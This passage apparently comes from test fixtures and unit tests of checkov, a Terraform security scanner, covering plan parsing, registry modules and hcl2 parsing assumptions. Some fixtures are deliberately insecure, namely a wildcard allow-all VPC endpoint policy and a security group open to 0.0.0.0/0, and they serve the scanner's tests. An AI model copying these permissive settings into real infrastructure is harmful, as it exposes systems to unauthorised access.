    "content": "resource \"aws_dynamodb_table\" \"basic-dynamodb-table\" {\n  name           = \"test\"\n  billing_mode   = \"PROVISIONED\"\n  read_capacity  = 20\n  write_capacity = 20\n  hash_key       = \"test\"\n  range_key      = \"test\"\n  attribute {\n    name = \"test\"\n    type = \"S\"\n  }\n\n  attribute {\n    name = \"test\"\n    type = \"S\"\n  }\n  server_side_encryption {\n    enabled     = true\n    kms_key_arn = \"arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab\"\n  }\n  point_in_time_recovery {\n    enabled = true\n  }\n  tags = {\n    \"tag1\" = \"test\"\n    \"tag2\" = \"test\"\n  }\n}\n\nresource \"aws_autoscaling_group\" \"example\" {\n  max_size             = 1\n  min_size             = 1\n  health_check_type    = \"ELB\"\n  vpc_zone_identifier  = [\"arn:aws:vpc:some_vpc\"]\n  launch_configuration = \"test\"\n\n  tags = [\n            {\n                key = \"tag1\"\n                value = \"test\"\n                propagate_at_launch = true\n            },\n            {\n                key = \"tag2\"\n                value = \"test\"\n                propagate_at_launch = true\n            },\n  ]\n}\n\nresource \"aws_autoscaling_group\" \"example2\" {\n  max_size             = 1\n  min_size             = 1\n  launch_configuration = \"test\"\n\n  tag {\n      key = \"tag1\"\n      value = \"test\"\n      propagate_at_launch = true\n  }\n  tag {\n      key = \"tag2\"\n      value = \"test\"\n      propagate_at_launch = true\n  }\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/plan_tags_variety/tfplan.json",
    "content": "{\n  \"format_version\": \"0.2\",\n  \"terraform_version\": \"1.0.7\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_autoscaling_group.example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_autoscaling_group\",\n          \"name\": \"example\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"capacity_rebalance\": null,\n            \"enabled_metrics\": null,\n            \"force_delete\": false,\n            \"force_delete_warm_pool\": false,\n            \"health_check_grace_period\": 300,\n            \"health_check_type\": \"ELB\",\n            \"initial_lifecycle_hook\": [],\n            \"instance_refresh\": [],\n            \"launch_configuration\": \"test\",\n            \"launch_template\": [],\n            \"load_balancers\": null,\n            \"max_instance_lifetime\": null,\n            \"max_size\": 1,\n            \"metrics_granularity\": \"1Minute\",\n            \"min_elb_capacity\": null,\n            \"min_size\": 1,\n            \"mixed_instances_policy\": [],\n            \"placement_group\": null,\n            \"protect_from_scale_in\": false,\n            \"suspended_processes\": null,\n            \"tag\": [],\n            \"tags\": [\n              {\n                \"key\": \"tag1\",\n                \"propagate_at_launch\": \"true\",\n                \"value\": \"test\"\n              },\n              {\n                \"key\": \"tag2\",\n                \"propagate_at_launch\": \"true\",\n                \"value\": \"test\"\n              }\n            ],\n            \"target_group_arns\": null,\n            \"termination_policies\": null,\n            \"timeouts\": null,\n            \"vpc_zone_identifier\": [\n              \"arn:aws:vpc:some_vpc\"\n            ],\n            \"wait_for_capacity_timeout\": \"10m\",\n            \"wait_for_elb_capacity\": null,\n            \"warm_pool\": []\n          },\n          \"sensitive_values\": {\n            \"availability_zones\": [],\n            \"initial_lifecycle_hook\": [],\n            \"instance_refresh\": [],\n            \"launch_template\": [],\n            \"mixed_instances_policy\": [],\n            \"tag\": [],\n            \"tags\": [\n              {},\n              {}\n            ],\n            \"vpc_zone_identifier\": [\n              false\n            ],\n            \"warm_pool\": []\n          }\n        },\n        {\n          \"address\": \"aws_autoscaling_group.example2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_autoscaling_group\",\n          \"name\": \"example2\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"capacity_rebalance\": null,\n            \"enabled_metrics\": null,\n            \"force_delete\": false,\n            \"force_delete_warm_pool\": false,\n            \"health_check_grace_period\": 300,\n            \"initial_lifecycle_hook\": [],\n            \"instance_refresh\": [],\n            \"launch_configuration\": \"test\",\n            \"launch_template\": [],\n            \"load_balancers\": null,\n            \"max_instance_lifetime\": null,\n            \"max_size\": 1,\n            \"metrics_granularity\": \"1Minute\",\n            \"min_elb_capacity\": null,\n            \"min_size\": 1,\n            \"mixed_instances_policy\": [],\n            \"placement_group\": null,\n            \"protect_from_scale_in\": false,\n            \"suspended_processes\": null,\n            \"tag\": [\n              {\n                \"key\": \"tag1\",\n                \"propagate_at_launch\": true,\n                \"value\": \"test\"\n              },\n              {\n                \"key\": \"tag2\",\n                \"propagate_at_launch\": true,\n                \"value\": \"test\"\n              }\n            ],\n            \"tags\": null,\n            \"target_group_arns\": null,\n            \"termination_policies\": null,\n            \"timeouts\": null,\n            \"wait_for_capacity_timeout\": \"10m\",\n            \"wait_for_elb_capacity\": null,\n            \"warm_pool\": []\n          },\n          \"sensitive_values\": {\n            \"availability_zones\": [],\n            \"initial_lifecycle_hook\": [],\n            \"instance_refresh\": [],\n            \"launch_template\": [],\n            \"mixed_instances_policy\": [],\n            \"tag\": [\n              {},\n              {}\n            ],\n            \"vpc_zone_identifier\": [],\n            \"warm_pool\": []\n          }\n        },\n        {\n          \"address\": \"aws_dynamodb_table.basic-dynamodb-table\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_dynamodb_table\",\n          \"name\": \"basic-dynamodb-table\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"attribute\": [\n              {\n                \"name\": \"test\",\n                \"type\": \"S\"\n              }\n            ],\n            \"billing_mode\": \"PROVISIONED\",\n            \"global_secondary_index\": [],\n            \"hash_key\": \"test\",\n            \"local_secondary_index\": [],\n            \"name\": \"test\",\n            \"point_in_time_recovery\": [\n              {\n                \"enabled\": true\n              }\n            ],\n            \"range_key\": \"test\",\n            \"read_capacity\": 20,\n            \"replica\": [],\n            \"server_side_encryption\": [\n              {\n                \"enabled\": true,\n                \"kms_key_arn\": \"arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab\"\n              }\n            ],\n            \"stream_enabled\": null,\n            \"tags\": {\n              \"tag1\": \"test\",\n              \"tag2\": \"test\"\n            },\n            \"tags_all\": {\n              \"tag1\": \"test\",\n              \"tag2\": \"test\"\n            },\n            \"timeouts\": null,\n            \"ttl\": [],\n            \"write_capacity\": 20\n          },\n          \"sensitive_values\": {\n            \"attribute\": [\n              {}\n            ],\n            \"global_secondary_index\": [],\n            \"local_secondary_index\": [],\n            \"point_in_time_recovery\": [\n              {}\n            ],\n            \"replica\": [],\n            \"server_side_encryption\": [\n              {}\n            ],\n            \"tags\": {},\n            \"tags_all\": {},\n            \"ttl\": []\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_autoscaling_group.example\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_autoscaling_group\",\n      \"name\": \"example\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"capacity_rebalance\": null,\n          \"enabled_metrics\": null,\n          \"force_delete\": false,\n          \"force_delete_warm_pool\": false,\n          \"health_check_grace_period\": 300,\n          \"health_check_type\": \"ELB\",\n          \"initial_lifecycle_hook\": [],\n          \"instance_refresh\": [],\n          \"launch_configuration\": \"test\",\n          \"launch_template\": [],\n          \"load_balancers\": null,\n          \"max_instance_lifetime\": null,\n          \"max_size\": 1,\n          \"metrics_granularity\": \"1Minute\",\n          \"min_elb_capacity\": null,\n          \"min_size\": 1,\n          \"mixed_instances_policy\": [],\n          \"placement_group\": null,\n          \"protect_from_scale_in\": false,\n          \"suspended_processes\": null,\n          \"tag\": [],\n          \"tags\": [\n            {\n              \"key\": \"tag1\",\n              \"propagate_at_launch\": \"true\",\n              \"value\": \"test\"\n            },\n            {\n              \"key\": \"tag2\",\n              \"propagate_at_launch\": \"true\",\n              \"value\": \"test\"\n            }\n          ],\n          \"target_group_arns\": null,\n          \"termination_policies\": null,\n          \"timeouts\": null,\n          \"vpc_zone_identifier\": [\n            \"arn:aws:vpc:some_vpc\"\n          ],\n          \"wait_for_capacity_timeout\": \"10m\",\n          \"wait_for_elb_capacity\": null,\n          \"warm_pool\": []\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zones\": true,\n          \"default_cooldown\": true,\n          \"desired_capacity\": true,\n          \"id\": true,\n          \"initial_lifecycle_hook\": [],\n          \"instance_refresh\": [],\n          \"launch_template\": [],\n          \"mixed_instances_policy\": [],\n          \"name\": true,\n          \"name_prefix\": true,\n          \"service_linked_role_arn\": true,\n          \"tag\": [],\n          \"tags\": [\n            {},\n            {}\n          ],\n          \"vpc_zone_identifier\": [\n            false\n          ],\n          \"warm_pool\": []\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"availability_zones\": [],\n          \"initial_lifecycle_hook\": [],\n          \"instance_refresh\": [],\n          \"launch_template\": [],\n          \"mixed_instances_policy\": [],\n          \"tag\": [],\n          \"tags\": [\n            {},\n            {}\n          ],\n          \"vpc_zone_identifier\": [\n            false\n          ],\n          \"warm_pool\": []\n        }\n      }\n    },\n    {\n      \"address\": \"aws_autoscaling_group.example2\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_autoscaling_group\",\n      \"name\": \"example2\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"capacity_rebalance\": null,\n          \"enabled_metrics\": null,\n          \"force_delete\": false,\n          \"force_delete_warm_pool\": false,\n          \"health_check_grace_period\": 300,\n          \"initial_lifecycle_hook\": [],\n          \"instance_refresh\": [],\n          \"launch_configuration\": \"test\",\n          \"launch_template\": [],\n          \"load_balancers\": null,\n          \"max_instance_lifetime\": null,\n          \"max_size\": 1,\n          \"metrics_granularity\": \"1Minute\",\n          \"min_elb_capacity\": null,\n          \"min_size\": 1,\n          \"mixed_instances_policy\": [],\n          \"placement_group\": null,\n          \"protect_from_scale_in\": false,\n          \"suspended_processes\": null,\n          \"tag\": [\n            {\n              \"key\": \"tag1\",\n              \"propagate_at_launch\": true,\n              \"value\": \"test\"\n            },\n            {\n              \"key\": \"tag2\",\n              \"propagate_at_launch\": true,\n              \"value\": \"test\"\n            }\n          ],\n          \"tags\": null,\n          \"target_group_arns\": null,\n          \"termination_policies\": null,\n          \"timeouts\": null,\n          \"wait_for_capacity_timeout\": \"10m\",\n          \"wait_for_elb_capacity\": null,\n          \"warm_pool\": []\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zones\": true,\n          \"default_cooldown\": true,\n          \"desired_capacity\": true,\n          \"health_check_type\": true,\n          \"id\": true,\n          \"initial_lifecycle_hook\": [],\n          \"instance_refresh\": [],\n          \"launch_template\": [],\n          \"mixed_instances_policy\": [],\n          \"name\": true,\n          \"name_prefix\": true,\n          \"service_linked_role_arn\": true,\n          \"tag\": [\n            {},\n            {}\n          ],\n          \"vpc_zone_identifier\": true,\n          \"warm_pool\": []\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"availability_zones\": [],\n          \"initial_lifecycle_hook\": [],\n          \"instance_refresh\": [],\n          \"launch_template\": [],\n          \"mixed_instances_policy\": [],\n          \"tag\": [\n            {},\n            {}\n          ],\n          \"vpc_zone_identifier\": [],\n          \"warm_pool\": []\n        }\n      }\n    },\n    {\n      \"address\": \"aws_dynamodb_table.basic-dynamodb-table\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_dynamodb_table\",\n      \"name\": \"basic-dynamodb-table\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"attribute\": [\n            {\n              \"name\": \"test\",\n              \"type\": \"S\"\n            }\n          ],\n          \"billing_mode\": \"PROVISIONED\",\n          \"global_secondary_index\": [],\n          \"hash_key\": \"test\",\n          \"local_secondary_index\": [],\n          \"name\": \"test\",\n          \"point_in_time_recovery\": [\n            {\n              \"enabled\": true\n            }\n          ],\n          \"range_key\": \"test\",\n          \"read_capacity\": 20,\n          \"replica\": [],\n          \"server_side_encryption\": [\n            {\n              \"enabled\": true,\n              \"kms_key_arn\": \"arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab\"\n            }\n          ],\n          \"stream_enabled\": null,\n          \"tags\": {\n            \"tag1\": \"test\",\n            \"tag2\": \"test\"\n          },\n          \"tags_all\": {\n            \"tag1\": \"test\",\n            \"tag2\": \"test\"\n          },\n          \"timeouts\": null,\n          \"ttl\": [],\n          \"write_capacity\": 20\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"attribute\": [\n            {}\n          ],\n          \"global_secondary_index\": [],\n          \"id\": true,\n          \"local_secondary_index\": [],\n          \"point_in_time_recovery\": [\n            {}\n          ],\n          \"replica\": [],\n          \"server_side_encryption\": [\n            {}\n          ],\n          \"stream_arn\": true,\n          \"stream_label\": true,\n          \"stream_view_type\": true,\n          \"tags\": {},\n          \"tags_all\": {},\n          \"ttl\": []\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"attribute\": [\n            {}\n          ],\n          \"global_secondary_index\": [],\n          \"local_secondary_index\": [],\n          \"point_in_time_recovery\": [\n            {}\n          ],\n          \"replica\": [],\n          \"server_side_encryption\": [\n            {}\n          ],\n          \"tags\": {},\n          \"tags_all\": {},\n          \"ttl\": []\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_autoscaling_group.example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_autoscaling_group\",\n          \"name\": \"example\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"health_check_type\": {\n              \"constant_value\": \"ELB\"\n            },\n            \"launch_configuration\": {\n              \"constant_value\": \"test\"\n            },\n            \"max_size\": {\n              \"constant_value\": 1\n            },\n            \"min_size\": {\n              \"constant_value\": 1\n            },\n            \"tags\": {\n              \"constant_value\": [\n                {\n                  \"key\": \"tag1\",\n                  \"propagate_at_launch\": true,\n                  \"value\": \"test\"\n                },\n                {\n                  \"key\": \"tag2\",\n                  \"propagate_at_launch\": true,\n                  \"value\": \"test\"\n                }\n              ]\n            },\n            \"vpc_zone_identifier\": {\n              \"constant_value\": [\n                \"arn:aws:vpc:some_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_autoscaling_group.example2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_autoscaling_group\",\n          \"name\": \"example2\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"launch_configuration\": {\n              \"constant_value\": \"test\"\n            },\n            \"max_size\": {\n              \"constant_value\": 1\n            },\n            \"min_size\": {\n              \"constant_value\": 1\n            },\n            \"tag\": [\n              {\n                \"key\": {\n                  \"constant_value\": \"tag1\"\n                },\n                \"propagate_at_launch\": {\n                  \"constant_value\": true\n                },\n                \"value\": {\n                  \"constant_value\": \"test\"\n                }\n              },\n              {\n                \"key\": {\n                  \"constant_value\": \"tag2\"\n                },\n                \"propagate_at_launch\": {\n                  \"constant_value\": true\n                },\n                \"value\": {\n                  \"constant_value\": \"test\"\n                }\n              }\n            ]\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_dynamodb_table.basic-dynamodb-table\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_dynamodb_table\",\n          \"name\": \"basic-dynamodb-table\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"attribute\": [\n              {\n                \"name\": {\n                  \"constant_value\": \"test\"\n                },\n                \"type\": {\n                  \"constant_value\": \"S\"\n                }\n              },\n              {\n                \"name\": {\n                  \"constant_value\": \"test\"\n                },\n                \"type\": {\n                  \"constant_value\": \"S\"\n                }\n              }\n            ],\n            \"billing_mode\": {\n              \"constant_value\": \"PROVISIONED\"\n            },\n            \"hash_key\": {\n              \"constant_value\": \"test\"\n            },\n            \"name\": {\n              \"constant_value\": \"test\"\n            },\n            \"point_in_time_recovery\": [\n              {\n                \"enabled\": {\n                  \"constant_value\": true\n                }\n              }\n            ],\n            \"range_key\": {\n              \"constant_value\": \"test\"\n            },\n            \"read_capacity\": {\n              \"constant_value\": 20\n            },\n            \"server_side_encryption\": [\n              {\n                \"enabled\": {\n                  \"constant_value\": true\n                },\n                \"kms_key_arn\": {\n                  \"constant_value\": \"arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab\"\n                }\n              }\n            ],\n            \"tags\": {\n              \"constant_value\": {\n                \"tag1\": \"test\",\n                \"tag2\": \"test\"\n              }\n            },\n            \"write_capacity\": {\n              \"constant_value\": 20\n            }\n          },\n          \"schema_version\": 1\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/plan_vpc_endpoint/tfplan.json",
    "content": "{\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_vpc_endpoint.test\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_vpc_endpoint\",\n          \"name\": \"test\",\n          \"values\": {\n            \"policy\": \"{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":\\\"*\\\",\\\"Action\\\":\\\"*\\\",\\\"Resource\\\":\\\"*\\\"}]}\"\n          }\n        }\n      ]\n    }\n  },\n  \"configuration\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_vpc_endpoint.test\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_vpc_endpoint\",\n          \"name\": \"test\",\n          \"expressions\": {\n            \"policy\": {\n              \"constant_value\": \"{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":\\\"*\\\",\\\"Action\\\":\\\"*\\\",\\\"Resource\\\":\\\"*\\\"}]}\"\n            }\n          }\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/registry_security_group/registry_security_group.tf",
    "content": "module \"security_group\" {\n  source  = \"terraform-aws-modules/security-group/aws\"\n  version = \"3.18.0\"\n\n  name        = \"example\"\n  description = \"Security group for example usage with EC2 instance\"\n  vpc_id      = data.aws_vpc.default.id\n\n  ingress_cidr_blocks = [\"0.0.0.0/0\"]\n  ingress_rules       = [\"http-80-tcp\", \"all-icmp\"]\n  egress_rules        = [\"all-all\"]\n}\n\n"
  },
  {
    "path": "tests/terraform/parser/resources/registry_security_group_inner_module/main.tf",
    "content": "module \"web_server_sg\" {\n  source  = \"terraform-aws-modules/security-group/aws//modules/http-80\"\n  version = \"4.0.0\"\n\n  name        = \"web-server\"\n  description = \"Security group for web-server with HTTP ports open within VPC\"\n  vpc_id      = \"vpc-12345678\"\n\n  ingress_cidr_blocks = [\"10.10.0.0/16\"]\n}"
  },
  {
    "path": "tests/terraform/parser/skip_bad_tf_example.tf",
    "content": "variable \"okay\" {\n}\n\n// Variable is missing a name, not valid terraform syntex\nvariable {\n  name    = \"test\"\n  default = \"test_value\"\n  type    = \"string\"\n}\n\nmodule \"bar\" {\n    memory = \"1G\"\n    source = \"baz\"\n}\n\nmodule \"okay\" {\n  source = \"./okay\"\n  source = \"baz2\"\n}\n\n// Module is missing a name, can't be referenced or deployed\nmodule {\n  source = \"./not-okay\"\n  memory = \"far\"\n}\n"
  },
  {
    "path": "tests/terraform/parser/test_hcl2_load_assumptions.py",
    "content": "import json\nimport unittest\n\nimport hcl2\n\n\n# This group of tests is used to confirm assumptions about how the hcl2 library parses into json.\n# We want to make sure important assumptions are caught if behavior changes.\nclass TestHCL2LoadAssumptions(unittest.TestCase):\n    def test_ternary(self):\n        # Ternary and removal of parens are interesting things here\n        tf = '''\n        resource \"aws_instance\" \"foo\" {\n          metadata_options {\n            http_tokens = (var.metadata_http_tokens_required) ? \"required\" : \"optional\"\n          }\n        }'''\n        expect = {\n            \"resource\": [{\n                \"aws_instance\": {\n                    \"foo\": {\n                        \"metadata_options\": [{\n                            \"http_tokens\": ['${var.metadata_http_tokens_required ? \"required\" : \"optional\"}']\n                        }],\n                        \"__start_line__\": 2,\n                        \"__end_line__\": 6,\n                    }\n                }\n            }]\n        }\n        self.go(tf, expect)\n\n    def test_tfvars(self):\n        tf = '''\n        VERSIONING = true\n        CHECKOV = \"awesome\"\n        '''\n        expect = {\n            \"VERSIONING\": [True],\n            \"CHECKOV\": [\"awesome\"]\n        }\n        self.go(tf, expect)\n\n    def test_multiline_function(self):\n        tf = '''\n        locals {\n           a_string = merge(\n             local.foo,\n             {a=\"b\"}\n           )\n        }'''\n        expect = {\n            \"locals\": [\n                {\n                    \"a_string\": [\"${merge(local.foo,{'a': 'b'})}\"],\n                    \"__start_line__\": 2,\n                    \"__end_line__\": 7,\n                }\n            ]\n        }\n        self.go(tf, expect)\n\n    def test_string_with_quotes(self):\n        tf = '''\n        locals {\n           a_string = \"Quotes are \\\\\"fun\\\\\"!\"\n        }'''\n        expect = {\n            \"locals\": [\n                {\n                    \"a_string\": [\"Quotes are \\\\\\\"fun\\\\\\\"!\"],\n                    #                        __--\n                    #                        |  |\n                    #                backslash  quote\n                    \"__start_line__\": 2,\n                    \"__end_line__\": 4,\n                }\n            ]\n        }\n        self.go(tf, expect)\n\n    def test_inner_quoting(self):\n        tf = '''\n        locals {\n          evil_strings1 = merge({a=\"}, evil\"})\n        }'''\n        expect = {\n            \"locals\": [\n                {\n                    \"evil_strings1\": [\"${merge({'a': '}, evil'})}\"],\n                    \"__start_line__\": 2,\n                    \"__end_line__\": 4,\n                },\n            ]\n        }\n        self.go(tf, expect)\n\n    def test_merge_with_inner_var(self):\n        tf = '''\n        resource \"aws_s3_bucket\" \"foo\" {\n          tags = merge(local.common_tags, local.common_data_tags, {Name = \"my-thing-${var.ENVIRONMENT}-${var.REGION}\"})\n        }'''\n        expect = {\n            \"resource\": [\n                {\n                    \"aws_s3_bucket\": {\n                        \"foo\": {\n                            \"tags\": [\"${merge(local.common_tags,local.common_data_tags,{'Name': 'my-thing-${var.ENVIRONMENT}-${var.REGION}'})}\"],\n                            \"__start_line__\": 2,\n                            \"__end_line__\": 4,\n                        }\n                    }\n                }\n            ]\n        }\n        self.go(tf, expect)\n\n    def test_variable_block(self):\n        tf = '''\n        variable \"my_var\" {\n          type = string\n          default = \"my_default_value\"\n        }'''\n        expect = {\n            \"variable\": [\n                {\n                    \"my_var\": {\n                        \"type\": [\"${string}\"],  # NOTE: wrapped in eval markers\n                        \"default\": [\"my_default_value\"],\n                        \"__start_line__\": 2,\n                        \"__end_line__\": 5,\n                    }\n                }\n            ]\n        }\n        self.go(tf, expect)\n\n    def test_module_block(self):\n        tf = '''\n        module \"bucket\" {\n          source   = \"./bucket\"\n          name     = \"module_bucket\"\n          BLAH     = \"a value\"\n        }'''\n        expect = {\n            \"module\": [\n                {\n                    \"bucket\": {\n                        \"source\": [\"./bucket\"],\n                        \"name\": [\"module_bucket\"],\n                        \"BLAH\": [\"a value\"],\n                        \"__start_line__\": 2,\n                        \"__end_line__\": 6,\n                    }\n                }\n            ]\n        }\n        self.go(tf, expect)\n\n    def test_raw_assignment(self):\n        tf = 'my_var = \"my_value\"\\n'\n        expect = {\n            \"my_var\": [\"my_value\"]\n        }\n        self.go(tf, expect)\n\n    def test_raw_assignment_true_string(self):\n        tf = 'my_var = \"true\"\\n'\n        expect = {\n            \"my_var\": [\"true\"]\n        }\n        self.go(tf, expect)\n\n    def test_raw_assignment_false_string(self):\n        tf = 'my_var = \"false\"\\n'\n        expect = {\n            \"my_var\": [\"false\"]\n        }\n        self.go(tf, expect)\n\n    def test_raw_assignment_1_string(self):\n        tf = 'my_var = \"1\"\\n'\n        expect = {\n            \"my_var\": [\"1\"]\n        }\n        self.go(tf, expect)\n\n    def test_raw_assignment_0_string(self):\n        tf = 'my_var = \"0\"\\n'\n        expect = {\n            \"my_var\": [\"0\"]\n        }\n        self.go(tf, expect)\n\n    def test_map_separators(self):\n        tf = '''\n        locals {\n          INTS = tomap({\"a\" = 1, \"b\" = 2})\n        }'''\n        expect = {\n            \"locals\": [\n                {\n                    \"INTS\": [\"${tomap({'a': 1, 'b': 2})}\"],  # WHA?? Equals to colons? Okay...\n                    \"__start_line__\": 2,\n                    \"__end_line__\": 4,\n                }\n            ]\n        }\n        self.go(tf, expect)\n\n    # from the \"maze_of_variables\" scenario\n    def test_maze_of_variables(self):\n        tf = '''\n        variable \"gratuitous_var_default\" {\n          type = string\n          default = \"-yay\"\n        }\n\n        variable \"input\" {\n          default = \"module-input\"\n        }\n         \n        locals {\n          NAME = {\n            \"module-input-bucket\" = \"mapped-bucket-name\"\n          }\n          TAIL = \"works\"\n        }\n          \n        module \"bucket\" {\n          source   = \"./bucket\"\n          name     = var.input\n        }\n        \n        resource \"aws_s3_bucket\" \"example2\" {\n          #             resolves to: mapped-bucket-name\n          #             |            resolves to: module-input-bucket\n          #             |            |                              resolves to: works\n          #             |            |                              |           resolves to: -yay\n          #             |            |                              |           |\n          #             v            v                              v           v\n          bucket = \"${local.NAME[${module.bucket.bucket_name}]}-${local.TAIL}${var.gratuitous_var_default}\"\n          # final result: mapped-bucket-name-works-yay\n        }'''\n        expect = {\n            \"variable\": [\n                {\n                    \"gratuitous_var_default\": {\n                        \"type\": [\"${string}\"],              # NOTE: wrapped in eval markers\n                        \"default\": [\"-yay\"],\n                        \"__start_line__\": 2,\n                        \"__end_line__\": 5,\n                    }\n                },\n                {\n                    \"input\": {\n                        \"default\": [\"module-input\"],\n                        \"__start_line__\": 7,\n                        \"__end_line__\": 9,\n                    }\n                }\n            ],\n            \"locals\": [\n                {\n                    \"NAME\": [{\n                        \"module-input-bucket\": \"mapped-bucket-name\"\n                    }],\n                    \"TAIL\": [\"works\"],\n                    \"__start_line__\": 11,\n                    \"__end_line__\": 16,\n                }\n            ],\n            \"module\": [\n                {\n                    \"bucket\": {\n                        \"source\": [\"./bucket\"],\n                        \"name\": [\"${var.input}\"],  # NOTE: wrapped in eval markers\n                        \"__start_line__\": 18,\n                        \"__end_line__\": 21,\n                    }\n                }\n            ],\n            \"resource\": [\n                {\n                    \"aws_s3_bucket\": {\n                        \"example2\": {\n                            \"bucket\": [\"${local.NAME[${module.bucket.bucket_name}]}-${local.TAIL}${var.gratuitous_var_default}\"],\n                            \"__start_line__\": 23,\n                            \"__end_line__\": 32,\n                        }\n                    }\n                }\n            ]\n        }\n        self.go(tf, expect)\n\n    @staticmethod\n    def go(tf, expected_result):\n        actual_result = hcl2.loads(tf)\n        assert actual_result == expected_result, \"Results mismatch:\\n\" \\\n                                                 \"** EXPECTED **\\n\" \\\n                                                 f\"{json.dumps(expected_result, indent=2)}\\n\" \\\n                                                 f\"** ACTUAL **\\n\" \\\n                                                 f\"{json.dumps(actual_result, indent=2)}\"\n\n    def test_math(self):\n        tf = \"four = 2 + 2\"\n        expect = {\n            \"four\": [\"${2 + 2}\"]\n        }\n        self.go(tf, expect)\n\n    def test_weird_ternary_string_clipping(self):\n        tf = 'bool_string_false = \"false\" ? \"wrong\" : \"correct\"'\n        expect = {\n            \"bool_string_false\": ['${\"false\" ? \"wrong\" : \"correct\"}']\n        }\n        self.go(tf, expect)\n\n    def test_splat_expression(self):\n        tf = 'instances = flatten(aws_instance.ubuntu[*].id)'\n        expect = {\n            'instances': [\"${flatten(aws_instance.ubuntu[*].id)}\"]\n        }\n        self.go(tf, expect)\n\n    def test_provider_function(self):\n        tf = \"name2 = provider::test2::test(\\\"a\\\")\"\n        expect = {\n            \"name2\": [\"${provider::test2::test(\\\"a\\\")}\"],\n        }\n        self.go(tf, expect)\n"
  },
  {
    "path": "tests/terraform/parser/test_module.py",
    "content": "import os\nimport unittest\nimport shutil\n\nimport hcl2\n\nfrom checkov.terraform.modules.module_utils import validate_malformed_definitions, clean_bad_definitions, \\\n    clean_parser_types, serialize_definitions\nfrom checkov.terraform.tf_parser import TFParser\nfrom checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR\n\n\nclass ModuleTest(unittest.TestCase):\n\n    def setUp(self) -> None:\n        from checkov.terraform.module_loading.registry import ModuleLoaderRegistry\n\n        # needs to be reset, because the cache belongs to the class not instance\n        ModuleLoaderRegistry.module_content_cache = {}\n\n        self.resources_dir = os.path.realpath(os.path.join(os.path.dirname(os.path.realpath(__file__)), \"./resources\"))\n        self.external_module_path = ''\n\n    def tearDown(self) -> None:\n        if os.path.exists(self.external_module_path):\n            shutil.rmtree(self.external_module_path)\n\n    def test_module_double_slash_cleanup(self):\n        with open(os.path.join(os.path.dirname(__file__), 'resources', 'double_slash.tf')) as f:\n            tf = hcl2.load(f)\n        non_malformed_definitions = validate_malformed_definitions(tf)\n        definitions = {\n            '/mock/path/to.tf': clean_bad_definitions(non_malformed_definitions)\n        }\n        module, _ = TFParser().parse_hcl_module_from_tf_definitions(definitions, '', 'terraform')\n        print(module)\n        self.assertEqual(1, len(module.blocks))\n        self.assertEqual('ingress.annotations.kubernetes\\\\.io/ingress\\\\.class', module.blocks[0].attributes['set.name'])\n\n    def test_module_double_slash_cleanup_string(self):\n        tf = hcl2.loads(\"\"\"\nresource \"helm_release\" \"test\" {\n  name       = \"influxdb\"\n  repository = \"https://helm.influxdata.com\"\n  chart      = \"influxdb\"\n  namespace  = \"influxdb\"\n  set {\n    name  = \"ingress.annotations.kubernetes\\\\.io/ingress\\\\.class\"\n    value = 